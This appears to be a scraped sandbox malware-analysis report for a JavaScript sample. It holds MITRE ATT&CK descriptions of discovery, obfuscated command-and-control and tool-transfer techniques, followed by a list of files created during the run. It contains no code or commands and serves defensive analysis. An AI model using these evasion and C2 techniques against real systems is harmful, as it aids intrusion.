Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 17266187282427315527.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\01dbd4e1-4b8c-442a-b78f-e53e415e534c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6584

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
17266187282427315527.js